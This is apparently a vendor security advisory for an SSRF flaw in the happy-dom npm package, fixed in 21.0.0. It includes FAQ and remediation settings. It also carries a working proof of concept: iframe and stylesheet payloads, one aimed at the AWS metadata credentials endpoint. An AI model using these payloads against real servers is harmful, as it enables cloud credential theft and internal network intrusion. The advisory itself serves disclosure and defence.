CVE-2026-118660

Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML

const http = require('http');
const { Window } = require('happy-dom');

// Start attacker server
const srv = http.createServer((req, res) => {
    console.log(`SSRF HIT: ${req.method} ${req.url}`);
    res.writeHead(200, {'Content-Type': 'text/html'});
    res.end('<html><body>stolen</body></html>');
});

srv.listen(9995, () => {
    // iframe SSRF, happy-dom makes a real GET request
    const win1 = new Window({ url: 'http://localhost' });
    win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');

    // stylesheet SSRF, happy-dom makes a real GET request
    const win2 = new Window({ url: 'http://localhost' });
    win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});

SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf

const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });

// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');

• Cloud credential theft, <iframe src="http://169.254.169.254/..."> fetches AWS/GCP/Azure metadata
• Internal network scanning, probe internal services and ports
• Data exfiltration, read responses from internal APIs
• Affects any server-side use case, web scraping, email HTML rendering, SSR, testing with external HTML input

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-118660 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (21.0.0); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Change defaults to disable external resource loading:

disableIframePageLoading: true,  // change from false
disableCSSFileLoading: true,     // change from false

Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.

1. What is CVE-2026-118660? CVE-2026-118660 is a high-severity server-side request forgery (SSRF) vulnerability in happy-dom (npm), affecting versions <= 20.14.6. It is fixed in 21.0.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-118660? CVE-2026-118660 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of happy-dom are affected by CVE-2026-118660? happy-dom (npm) versions <= 20.14.6 is affected.
4. Is there a fix for CVE-2026-118660? Yes. CVE-2026-118660 is fixed in 21.0.0. Upgrade to this version or later.
5. Is CVE-2026-118660 exploitable, and should I be worried? Whether CVE-2026-118660 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-118660 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-118660? Upgrade happy-dom to 21.0.0 or later.

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